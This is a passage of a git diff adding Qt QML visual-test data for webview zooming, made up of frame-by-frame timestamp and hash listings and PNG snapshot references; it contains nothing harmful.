"9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 240 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 256 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 272 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 288 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 304 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 320 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 336 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 352 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 368 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 384 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 400 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 416 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 432 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 448 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 464 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 480 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 496 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 512 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 528 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 544 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 560 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 576 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 592 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 608 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 624 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 640 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 656 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 672 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 688 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 704 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 720 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 736 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 752 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 768 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 784 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 800 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 816 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 832 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 848 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 864 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } + Frame { + msec: 880 + hash: "9a2554b1b322ea71115fa91d0100d2ff" + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.0.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.0.png new file mode 100644 index 0000000..38df70e Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.0.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.qml b/tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.qml new file mode 100644 index 0000000..d3c5890 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/renderControl.qml @@ -0,0 +1,415 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "4f999826cd5ebe4f58bfd255e1c22be0" + } + Frame { + msec: 32 + hash: "3aa9bd1bd75219f82578689ac6d81c7e" + } + Frame { + msec: 48 + hash: "19d5f48f1c73d52483be96c887d3fd76" + } + Frame { + msec: 64 + hash: "9b85eef4e0746cc43aaefd442efdd824" + } + Frame { + msec: 80 + hash: "fca0034fb720e40198ede95a0ab0fadb" + } + Frame { + msec: 96 + hash: "9f63ddbd927a4b08242f3410a9ed7283" + } + Frame { + msec: 112 + hash: "4f5804c3c3ee195470a462293307cfd5" + } + Frame { + msec: 128 + hash: "d0434f08a8097b97b76c1194317a38ba" + } + Frame { + msec: 144 + hash: "921880d300e56f9605923a13fcd8b967" + } + Frame { + msec: 160 + hash: "f5dc87abf36332c68fd4450a6236dcb4" + } + Frame { + msec: 176 + hash: "c54f220cd5768afa1c12579007e17eff" + } + Frame { + msec: 192 + hash: "e1c70c3896d5a937296f205b09991b31" + } + Frame { + msec: 208 + hash: "d135f70f761add1358062a0386c62d18" + } + Frame { + msec: 224 + hash: "53cb2ed2b65e77cf0cd70530f32854ad" + } + Frame { + msec: 240 + hash: "2ff4feb61d958a800b38b282c3400293" + } + Frame { + msec: 256 + hash: "59f5585ec472efa29c5eba8b972ab3bd" + } + Frame { + msec: 272 + hash: "3aef5e1ff6da15e0e9f2e620dbabbab2" + } + Frame { + msec: 288 + hash: "2931299f667752efe9fca727534385e1" + } + Frame { + msec: 304 + hash: "2ed90e61c41b994ccea924191b66fc71" + } + Frame { + msec: 320 + hash: "1424c634067c896973c2c10793957933" + } + Frame { + msec: 336 + hash: "c4d30d511053a7caeefdae753236cf5b" + } + Frame { + msec: 352 + hash: "32300e07e34e8f316770c790a5ef9f6d" + } + Frame { + msec: 368 + hash: "95312dc2a4d88a48605fea170712354d" + } + Frame { + msec: 384 + hash: "3d146357d1532640cefb64fbae75bc0d" + } + Frame { + msec: 400 + hash: "5b78740511a456a3647d8392b2008f7f" + } + Frame { + msec: 416 + hash: "dddb065cefa27a862d108429c9984191" + } + Frame { + msec: 432 + hash: "0857067a0ee381e0f462ef8aceb0b696" + } + Frame { + msec: 448 + hash: "1f5e7e064cc62ff2e0585c98875351df" + } + Frame { + msec: 464 + hash: "c7f6bb852bdb2b99cbb5a8ca34f1585a" + } + Frame { + msec: 480 + hash: "f2284dea5812f167cae08c687fc1a3e9" + } + Frame { + msec: 496 + hash: "deec54bc32c46921e5032bce7daa1dad" + } + Frame { + msec: 512 + hash: "1271d3704de17bfe463c76fd73c3132b" + } + Frame { + msec: 528 + hash: "0568b0ecd47cd1c34b9de477e68e5751" + } + Frame { + msec: 544 + hash: "f070dd88e42697a9e43573f9f41b3540" + } + Frame { + msec: 560 + hash: "f5ced2827b06ea514f05866f1e4099f0" + } + Frame { + msec: 576 + hash: "59f5585ec472efa29c5eba8b972ab3bd" + } + Frame { + msec: 592 + hash: "2ff4feb61d958a800b38b282c3400293" + } + Frame { + msec: 608 + hash: "53cb2ed2b65e77cf0cd70530f32854ad" + } + Frame { + msec: 624 + hash: "d135f70f761add1358062a0386c62d18" + } + Frame { + msec: 640 + hash: "e1c70c3896d5a937296f205b09991b31" + } + Frame { + msec: 656 + hash: "c54f220cd5768afa1c12579007e17eff" + } + Frame { + msec: 672 + hash: "f5dc87abf36332c68fd4450a6236dcb4" + } + Frame { + msec: 688 + hash: "921880d300e56f9605923a13fcd8b967" + } + Frame { + msec: 704 + hash: "d0434f08a8097b97b76c1194317a38ba" + } + Frame { + msec: 720 + hash: "4f5804c3c3ee195470a462293307cfd5" + } + Frame { + msec: 736 + hash: "9f63ddbd927a4b08242f3410a9ed7283" + } + Frame { + msec: 752 + hash: "fca0034fb720e40198ede95a0ab0fadb" + } + Frame { + msec: 768 + hash: "9b85eef4e0746cc43aaefd442efdd824" + } + Frame { + msec: 784 + hash: "19d5f48f1c73d52483be96c887d3fd76" + } + Frame { + msec: 800 + hash: "3aa9bd1bd75219f82578689ac6d81c7e" + } + Frame { + msec: 816 + hash: "4f999826cd5ebe4f58bfd255e1c22be0" + } + Frame { + msec: 832 + hash: "3aa9bd1bd75219f82578689ac6d81c7e" + } + Frame { + msec: 848 + hash: "19d5f48f1c73d52483be96c887d3fd76" + } + Frame { + msec: 864 + hash: "9b85eef4e0746cc43aaefd442efdd824" + } + Frame { + msec: 880 + hash: "fca0034fb720e40198ede95a0ab0fadb" + } + Frame { + msec: 896 + hash: "9f63ddbd927a4b08242f3410a9ed7283" + } + Frame { + msec: 912 + hash: "4f5804c3c3ee195470a462293307cfd5" + } + Frame { + msec: 928 + hash: "d0434f08a8097b97b76c1194317a38ba" + } + Frame { + msec: 944 + hash: "921880d300e56f9605923a13fcd8b967" + } + Frame { + msec: 960 + image: "renderControl.0.png" + } + Frame { + msec: 976 + hash: "c54f220cd5768afa1c12579007e17eff" + } + Frame { + msec: 992 + hash: "e1c70c3896d5a937296f205b09991b31" + } + Frame { + msec: 1008 + hash: "d135f70f761add1358062a0386c62d18" + } + Frame { + msec: 1024 + hash: "53cb2ed2b65e77cf0cd70530f32854ad" + } + Frame { + msec: 1040 + hash: "2ff4feb61d958a800b38b282c3400293" + } + Frame { + msec: 1056 + hash: "59f5585ec472efa29c5eba8b972ab3bd" + } + Frame { + msec: 1072 + hash: "3aef5e1ff6da15e0e9f2e620dbabbab2" + } + Frame { + msec: 1088 + hash: "2931299f667752efe9fca727534385e1" + } + Frame { + msec: 1104 + hash: "2ed90e61c41b994ccea924191b66fc71" + } + Frame { + msec: 1120 + hash: "1424c634067c896973c2c10793957933" + } + Frame { + msec: 1136 + hash: "c4d30d511053a7caeefdae753236cf5b" + } + Frame { + msec: 1152 + hash: "32300e07e34e8f316770c790a5ef9f6d" + } + Frame { + msec: 1168 + hash: "95312dc2a4d88a48605fea170712354d" + } + Frame { + msec: 1184 + hash: "3d146357d1532640cefb64fbae75bc0d" + } + Frame { + msec: 1200 + hash: "5b78740511a456a3647d8392b2008f7f" + } + Frame { + msec: 1216 + hash: "dddb065cefa27a862d108429c9984191" + } + Frame { + msec: 1232 + hash: "0857067a0ee381e0f462ef8aceb0b696" + } + Frame { + msec: 1248 + hash: "1f5e7e064cc62ff2e0585c98875351df" + } + Frame { + msec: 1264 + hash: "c7f6bb852bdb2b99cbb5a8ca34f1585a" + } + Frame { + msec: 1280 + hash: "f2284dea5812f167cae08c687fc1a3e9" + } + Frame { + msec: 1296 + hash: "deec54bc32c46921e5032bce7daa1dad" + } + Frame { + msec: 1312 + hash: "1271d3704de17bfe463c76fd73c3132b" + } + Frame { + msec: 1328 + hash: "0568b0ecd47cd1c34b9de477e68e5751" + } + Frame { + msec: 1344 + hash: "f070dd88e42697a9e43573f9f41b3540" + } + Frame { + msec: 1360 + hash: "f5ced2827b06ea514f05866f1e4099f0" + } + Frame { + msec: 1376 + hash: "59f5585ec472efa29c5eba8b972ab3bd" + } + Frame { + msec: 1392 + hash: "2ff4feb61d958a800b38b282c3400293" + } + Frame { + msec: 1408 + hash: "53cb2ed2b65e77cf0cd70530f32854ad" + } + Frame { + msec: 1424 + hash: "d135f70f761add1358062a0386c62d18" + } + Frame { + msec: 1440 + hash: "e1c70c3896d5a937296f205b09991b31" + } + Frame { + msec: 1456 + hash: "c54f220cd5768afa1c12579007e17eff" + } + Frame { + msec: 1472 + hash: "f5dc87abf36332c68fd4450a6236dcb4" + } + Frame { + msec: 1488 + hash: "921880d300e56f9605923a13fcd8b967" + } + Frame { + msec: 1504 + hash: "d0434f08a8097b97b76c1194317a38ba" + } + Frame { + msec: 1520 + hash: "4f5804c3c3ee195470a462293307cfd5" + } + Frame { + msec: 1536 + hash: "9f63ddbd927a4b08242f3410a9ed7283" + } + Frame { + msec: 1552 + hash: "fca0034fb720e40198ede95a0ab0fadb" + } + Frame { + msec: 1568 + hash: "9b85eef4e0746cc43aaefd442efdd824" + } + Frame { + msec: 1584 + hash: "19d5f48f1c73d52483be96c887d3fd76" + } + Frame { + msec: 1600 + hash: "3aa9bd1bd75219f82578689ac6d81c7e" + } + Frame { + msec: 1616 + hash: "4f999826cd5ebe4f58bfd255e1c22be0" + } + Frame { + msec: 1632 + hash: "3aa9bd1bd75219f82578689ac6d81c7e" + } +} diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.0.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.0.png new file mode 100644 index 0000000..7e989c6 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.0.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.1.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.1.png new file mode 100644 index 0000000..60ccc0b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.1.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.2.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.2.png new file mode 100644 index 0000000..6c22494 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.2.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.3.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.3.png new file mode 100644 index 0000000..71dd56f Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.3.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.4.png b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.4.png new file mode 100644 index 0000000..ce03cb6 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.4.png differ diff --git a/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.qml b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.qml new file mode 100644 index 0000000..0a2b8db --- /dev/null +++ b/tests/auto/declarative/qmlvisual/webview/zooming/data/resolution.qml @@ -0,0 +1,1319 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "ac1d9c1cc13813b5e94c692a209a4e36" + } + Frame { + msec: 32 + hash: "1f189a436cf74ae83a03c3bb63c24ec2" + } + Frame { + msec: 48 + hash: "369f761053d5910e00672aa866f698ba" + } + Frame { + msec: 64 + hash: "30a191ae899121ae22d10acee6593415" + } + Frame { + msec: 80 + hash: "7af041898748bb5950643b057ca59eea" + } + Frame { + msec: 96 + hash: "e0a2ed91e78ff9a994deb9649a8afc16" + } + Frame { + msec: 112 + hash: "649ad1a3fb57fb088e4e5cfd749bf2e5" + } + Frame { + msec: 128 + hash: "9053a92e343ebb79bd2831f5ab94a1b5" + } + Frame { + msec: 144 + hash: "dc78b09e27bbc0a2cfec83436eef4446" + } + Frame { + msec: 160 + hash: "2aaa3749f93734dd203e1fea91a9f24a" + } + Frame { + msec: 176 + hash: "8df8dd33eada434231332b81e03430ce" + } + Frame { + msec: 192 + hash: "b5b1beb4dd4720eaa8b888fbef1ba875" + } + Frame { + msec: 208 + hash: "e531d33ef14b58ad843a6be6d7cb0961" + } + Frame { + msec: 224 + hash: "011c0bcca7717b08bc53738718203f7e" + } + Frame { + msec: 240 + hash: "412a630348aa44d56f36f04982035e36" + } + Frame { + msec: 256 + hash: "45528cdc62622b6d01e44466cd85bd38" + } + Frame { + msec: 272 + hash: "0901c99f959d6c10a0b6ea46a282d8fd" + } + Frame { + msec: 288 + hash: "3f200fca4815d555f22912d9fcdc20ee" + } + Frame { + msec: 304 + hash: "5e3c58e2f3a57f4ea48f4315d37ed813" + } + Frame { + msec: 320 + hash: "e8d98ec2d13ef4324feba11be95d0735" + } + Frame { + msec: 336 + hash: "4f3b79b341b63499a20f1e1e2cd979f9" + } + Frame { + msec: 352 + hash: "5ddbc3bc10292bec41531e83c0921c59" + } + Frame { + msec: 368 + hash: "9bc9801e83267689cd2750226f2b08ce" + } + Frame { + msec: 384 + hash: "f87195f2393914a0bbed9a454de01ff5" + } + Frame { + msec: 400 + hash: "4e0fd7f45e53a8d44c416eb9235ec877" + } + Frame { + msec: 416 + hash: "a579d6324fb4bf9ac5ceaba2aa708764" + } + Frame { + msec: 432 + hash: "b9f3f08168fb55ba01e56e670db565de" + } + Frame { + msec: 448 + hash: "cbd63ec868578e295a83170f42b23678" + } + Frame { + msec: 464 + hash: "2ed9d0e09b61dee8b2703e580007d7a5" + } + Frame { + msec: 480 + hash: "92fa2d9ef05140eb9d0fcf78b55f202e" + } + Frame { + msec: 496 + hash: "9a3f9dc04a900020f0e488309d7b4757" + } + Frame { + msec: 512 + hash: "93b4876c3e185ff4875a7447b0bf4f0f" + } + Frame { + msec: 528 + hash: "41b40e36f77d04e62f72ad34aa50709a" + } + Frame { + msec: 544 + hash: "2ea69aeb32fee61b61aa9c4efb2834bf" + } + Frame { + msec: 560 + hash: "0971ac1e05ea2ba387c78d4d103f5ea1" + } + Frame { + msec: 576 + hash: "98e46dff678f293fd6a4e9313ab3aec7" + } + Frame { + msec: 592 + hash: "82b94393071d6c32dd8028e1ee69e7fb" + } + Frame { + msec: 608 + hash: "240df67aa72a24546eb6e043e0d3d205" + } + Frame { + msec: 624 + hash: "56c4113cc341c254ccab66f3bc313154" + } + Frame { + msec: 640 + hash: "20d758c1537ed1a9aff657414b50926c" + } + Frame { + msec: 656 + hash: "ae252d835a05e01c2a12ae820335049a" + } + Frame { + msec: 672 + hash: "4d53256fbb012e738ba3868e2482250d" + } + Frame { + msec: 688 + hash: "261a341cab38986fb2f53b8e430f04a3" + } + Frame { + msec: 704 + hash: "1030f795d310f742ba491a2a90ff52d8" + } + Frame { + msec: 720 + hash: "59d24ebfedd2a87bdbd755d06c4361d2" + } + Frame { + msec: 736 + hash: "a6eaa480b3f93d33ae23bb36b7691b92" + } + Frame { + msec: 752 + hash: "cb6cf1e6e89da3fcbad323f744aef18d" + } + Frame { + msec: 768 + hash: "33a4f07cf7f5d16f006541c61ae2e4ee" + } + Frame { + msec: 784 + hash: "6e857b106486ea0aaa5321d4a7a07eae" + } + Frame { + msec: 800 + hash: "0f80edaf3eecf7a8c015d3fcecc0a494" + } + Frame { + msec: 816 + hash: "24b45d00d70904694c30ebd422c739ce" + } + Frame { + msec: 832 + hash: "c0ca66fefb19294852b9be0c4ba36481" + } + Frame { + msec: 848 + hash: "047846d243e7613193a8ddd526c4268e" + } + Frame { + msec: 864 + hash: "ca85f90e450ccda6b76e6a29a3187a63" + } + Frame { + msec: 880 + hash: "fcd803f5640d054190c2ddc9a6406bb9" + } + Frame { + msec: 896 + hash: "f81152b8a464bfa8343f52efcb0c8b8c" + } + Frame { + msec: 912 + hash: "e86be73d83699584dca986dfdb030b36" + } + Frame { + msec: 928 + hash: "d9798e4ebaf72c35b19a56b336d2ea93" + } + Frame { + msec: 944 + hash: "460f13d8e05b529c0e4fba39b1449ff1" + } + Frame { + msec: 960 + image: "resolution.0.png" + } + Frame { + msec: 976 + hash: "8b2f13580c6de9ec231809330d2d0362" + } + Frame { + msec: 992 + hash: "94a2cc520340573557e6a310f2ea125e" + } + Frame { + msec: 1008 + hash: "a8df78ab2e800349ec887ea6b1f5dcb8" + } + Frame { + msec: 1024 + hash: "0f3a56dbe26d453847ed4847c0e81d1a" + } + Frame { + msec: 1040 + hash: "96c89325862a982235b4b75922ec4669" + } + Frame { + msec: 1056 + hash: "ead6352a4ca47da59422e8d6a5844aa4" + } + Frame { + msec: 1072 + hash: "b50a6b14f15882e2c1ae6e3babeecdf8" + } + Frame { + msec: 1088 + hash: "2f32245c3388b86194e8183a290e99b8" + } + Frame { + msec: 1104 + hash: "2b54d49d30ccbf11ccb5ba8d62ba7d83" + } + Frame { + msec: 1120 + hash: "495b25d87cb6d1d4bdea4d5ec62c698e" + } + Frame { + msec: 1136 + hash: "3d45b061939783b6359fa4cdb908ecc0" + } + Frame { + msec: 1152 + hash: "e9e601c2a65a09b6354fff2c162106d6" + } + Frame { + msec: 1168 + hash: "8cfba8a724e85403b573caf7bbac9d83" + } + Frame { + msec: 1184 + hash: "5910765354645b724e14681cbdea227e" + } + Frame { + msec: 1200 + hash: "4358af7f2ccfc0919614351bfd5a7405" + } + Frame { + msec: 1216 + hash: "032e064336b458a6de03fdc98684cc34" + } + Frame { + msec: 1232 + hash: "c81d87bf83ee7e834a4b15dd103f7082" + } + Frame { + msec: 1248 + hash: "9d4416b55ed3b9e45a2314e9be5a5f2d" + } + Frame { + msec: 1264 + hash: "5b96da1a52a0413f9e8edbc9291a2502" + } + Frame { + msec: 1280 + hash: "aaa4008281ebc60b15616c818816e195" + } + Frame { + msec: 1296 + hash: "81ebf882aeb89648300dfc2e8e2cf11b" + } + Frame { + msec: 1312 + hash: "4e686e6cee12902f92e0ece915386fb3" + } + Frame { + msec: 1328 + hash: "6ff8d9bd6ec4dce414cdc7330646156e" + } + Frame { + msec: 1344 + hash: "dac6334e8b221527ef74b4f93eeef7c3" + } + Frame { + msec: 1360 + hash: "e58dbf419d1831e001e802600803aaa5" + } + Frame { + msec: 1376 + hash: "e8685f9b12c9ccb9d0e471946f1f6f9c" + } + Frame { + msec: 1392 + hash: "0936715ff8d38c2c813ebef0683a3246" + } + Frame { + msec: 1408 + hash: "37ad0a5532af8b083a7d4c4b044075ca" + } + Frame { + msec: 1424 + hash: "52ae25414d353d994cba36918644949a" + } + Frame { + msec: 1440 + hash: "07719485f9a7d0012eb0f3f211f0f21b" + } + Frame { + msec: 1456 + hash: "2d1a4f2c8d4a8d6316a31a81a2d20c61" + } + Frame { + msec: 1472 + hash: "3b279fb9e7b3efe05becc1651ba59493" + } + Frame { + msec: 1488 + hash: "4b9c126dcdf499f9de4e09d4f6ab86bf" + } + Frame { + msec: 1504 + hash: "6a1b8d8ea46949cb65e8f4155ab94819" + } + Frame { + msec: 1520 + hash: "6dbd2106b91ffbbb8a845e6cddbd47d7" + } + Frame { + msec: 1536 + hash: "8244eda92302f2b5cff01f05d438bf20" + } + Frame { + msec: 1552 + hash: "f939bd80ae865e365e554a532ade38f5" + } + Frame { + msec: 1568 + hash: "92d135616eee6737333b3d86d0aa5956" + } + Frame { + msec: 1584 + hash: "ca75854d6e5a77c8e609d65971b5671a" + } + Frame { + msec: 1600 + hash: "b0a113800cd05768b57bac6b9a338b1d" + } + Frame { + msec: 1616 + hash: "7af1a2aa6a201e36c3a969be4330af04" + } + Frame { + msec: 1632 + hash: "e54e8a2cfb0e6678b2a7cc64b8ae08bc" + } + Frame { + msec: 1648 + hash: "5d212c7efd9cf7d3eb5219b0bbe766d7" + } + Frame { + msec: 1664 + hash: "f4f2c95380c0f76c9e89820cdbeb5b31" + } + Frame { + msec: 1680 + hash: "b8eefbf5ade1a6b9eef9608f66a46474" + } + Frame { + msec: 1696 + hash: "d699ace9babbb152aad2fa852114c099" + } + Frame { + msec: 1712 + hash: "ceb3dea0d2b93cc5882a2b38ab3d1b95" + } + Frame { + msec: 1728 + hash: "08175810bfb80e1c5816b0d0aebbac4a" + } + Frame { + msec: 1744 + hash: "86abce93f50e7e7ebbd90690cfb20dd2" + } + Frame { + msec: 1760 + hash: "2918979f2682bd32beb5eaf7ecb3e463" + } + Frame { + msec: 1776 + hash: "b165ab96b0d51d41578bf99cbf7f6d02" + } + Frame { + msec: 1792 + hash: "d56cfdb2c65372cb36aeb13fd9c73deb" + } + Frame { + msec: 1808 + hash: "c53f0e4dc8204e5892ed4f367a6bade3" + } + Frame { + msec: 1824 + hash: "b3ae62e13149160f3695ed5c116411aa" + } + Frame { + msec: 1840 + hash: "057e4a0428ea2ff9893becd40e6d2977" + } + Frame { + msec: 1856 + hash: "10c050131093cc0d3f4b80c44eb1218b" + } + Frame { + msec: 1872 + hash: "17ce5a6dace37f4eb316f37ea26a8a2c" + } + Frame { + msec: 1888 + hash: "6e00c7e74bfaed5cf06aba54c8b73e57" + } + Frame { + msec: 1904 + hash: "5a03b1b698ca28d2afd9c67aef3bc2e9" + } + Frame { + msec: 1920 + image: "resolution.1.png" + } + Frame { + msec: 1936 + hash: "0fab102a33521e8893afdb6a11a3c5c9" + } + Frame { + msec: 1952 + hash: "232e8f1b060ef55e37a372bec4435d11" + } + Frame { + msec: 1968 + hash: "2107724eac0d1b8735060876f80d303a" + } + Frame { + msec: 1984 + hash: "cf5d12d2707975ad364750d5ba787944" + } + Frame { + msec: 2000 + hash: "2457c88828c2cb39feb1d34556077139" + } + Frame { + msec: 2016 + hash: "5f08d6dab8199b3f0f57d32cf2da4d67" + } + Frame { + msec: 2032 + hash: "2457c88828c2cb39feb1d34556077139" + } + Frame { + msec: 2048 + hash: "cf5d12d2707975ad364750d5ba787944" + } + Frame { + msec: 2064 + hash: "2107724eac0d1b8735060876f80d303a" + } + Frame { + msec: 2080 + hash: "232e8f1b060ef55e37a372bec4435d11" + } + Frame { + msec: 2096 + hash: "0a93c515cd328978ebd8103539a2fd63" + } + Frame { + msec: 2112 + hash: "63d6c7beac12e3bd83f9ef58c233c7d2" + } + Frame { + msec: 2128 + hash: "5a03b1b698ca28d2afd9c67aef3bc2e9" + } + Frame { + msec: 2144 + hash: "6e00c7e74bfaed5cf06aba54c8b73e57" + } + Frame { + msec: 2160 + hash: "17ce5a6dace37f4eb316f37ea26a8a2c" + } + Frame { + msec: 2176 + hash: "10c050131093cc0d3f4b80c44eb1218b" + } + Frame { + msec: 2192 + hash: "057e4a0428ea2ff9893becd40e6d2977" + } + Frame { + msec: 2208 + hash: "b3ae62e13149160f3695ed5c116411aa" + } + Frame { + msec: 2224 + hash: "c53f0e4dc8204e5892ed4f367a6bade3" + } + Frame { + msec: 2240 + hash: "d56cfdb2c65372cb36aeb13fd9c73deb" + } + Frame { + msec: 2256 + hash: "b165ab96b0d51d41578bf99cbf7f6d02" + } + Frame { + msec: 2272 + hash: "2918979f2682bd32beb5eaf7ecb3e463" + } + Frame { + msec: 2288 + hash: "86abce93f50e7e7ebbd90690cfb20dd2" + } + Frame { + msec: 2304 + hash: "08175810bfb80e1c5816b0d0aebbac4a" + } + Frame { + msec: 2320 + hash: "ceb3dea0d2b93cc5882a2b38ab3d1b95" + } + Frame { + msec: 2336 + hash: "d699ace9babbb152aad2fa852114c099" + } + Frame { + msec: 2352 + hash: "b8eefbf5ade1a6b9eef9608f66a46474" + } + Frame { + msec: 2368 + hash: "f4f2c95380c0f76c9e89820cdbeb5b31" + } + Frame { + msec: 2384 + hash: "5d212c7efd9cf7d3eb5219b0bbe766d7" + } + Frame { + msec: 2400 + hash: "e54e8a2cfb0e6678b2a7cc64b8ae08bc" + } + Frame { + msec: 2416 + hash: "d9408487f747ffb8eff5e1da92207285" + } + Frame { + msec: 2432 + hash: "e6b3fa1829535ac90d1548f45aadb9be" + } + Frame { + msec: 2448 + hash: "ca75854d6e5a77c8e609d65971b5671a" + } + Frame { + msec: 2464 + hash: "92d135616eee6737333b3d86d0aa5956" + } + Frame { + msec: 2480 + hash: "f939bd80ae865e365e554a532ade38f5" + } + Frame { + msec: 2496 + hash: "8244eda92302f2b5cff01f05d438bf20" + } + Frame { + msec: 2512 + hash: "6dbd2106b91ffbbb8a845e6cddbd47d7" + } + Frame { + msec: 2528 + hash: "6a1b8d8ea46949cb65e8f4155ab94819" + } + Frame { + msec: 2544 + hash: "4b9c126dcdf499f9de4e09d4f6ab86bf" + } + Frame { + msec: 2560 + hash: "3b279fb9e7b3efe05becc1651ba59493" + } + Frame { + msec: 2576 + hash: "bb40b884b56defb61ad86757fd51b9e6" + } + Frame { + msec: 2592 + hash: "07719485f9a7d0012eb0f3f211f0f21b" + } + Frame { + msec: 2608 + hash: "52ae25414d353d994cba36918644949a" + } + Frame { + msec: 2624 + hash: "37ad0a5532af8b083a7d4c4b044075ca" + } + Frame { + msec: 2640 + hash: "0936715ff8d38c2c813ebef0683a3246" + } + Frame { + msec: 2656 + hash: "e8685f9b12c9ccb9d0e471946f1f6f9c" + } + Frame { + msec: 2672 + hash: "e58dbf419d1831e001e802600803aaa5" + } + Frame { + msec: 2688 + hash: "dac6334e8b221527ef74b4f93eeef7c3" + } + Frame { + msec: 2704 + hash: "6ff8d9bd6ec4dce414cdc7330646156e" + } + Frame { + msec: 2720 + hash: "4e686e6cee12902f92e0ece915386fb3" + } + Frame { + msec: 2736 + hash: "81ebf882aeb89648300dfc2e8e2cf11b" + } + Frame { + msec: 2752 + hash: "aaa4008281ebc60b15616c818816e195" + } + Frame { + msec: 2768 + hash: "5b96da1a52a0413f9e8edbc9291a2502" + } + Frame { + msec: 2784 + hash: "9d4416b55ed3b9e45a2314e9be5a5f2d" + } + Frame { + msec: 2800 + hash: "c81d87bf83ee7e834a4b15dd103f7082" + } + Frame { + msec: 2816 + hash: "9fdf30d57c49a6644377ba40140b1969" + } + Frame { + msec: 2832 + hash: "4358af7f2ccfc0919614351bfd5a7405" + } + Frame { + msec: 2848 + hash: "5910765354645b724e14681cbdea227e" + } + Frame { + msec: 2864 + hash: "8cfba8a724e85403b573caf7bbac9d83" + } + Frame { + msec: 2880 + image: "resolution.2.png" + } + Frame { + msec: 2896 + hash: "3d45b061939783b6359fa4cdb908ecc0" + } + Frame { + msec: 2912 + hash: "495b25d87cb6d1d4bdea4d5ec62c698e" + } + Frame { + msec: 2928 + hash: "2b54d49d30ccbf11ccb5ba8d62ba7d83" + } + Frame { + msec: 2944 + hash: "2f32245c3388b86194e8183a290e99b8" + } + Frame { + msec: 2960 + hash: "b50a6b14f15882e2c1ae6e3babeecdf8" + } + Frame { + msec: 2976 + hash: "ead6352a4ca47da59422e8d6a5844aa4" + } + Frame { + msec: 2992 + hash: "96c89325862a982235b4b75922ec4669" + } + Frame { + msec: 3008 + 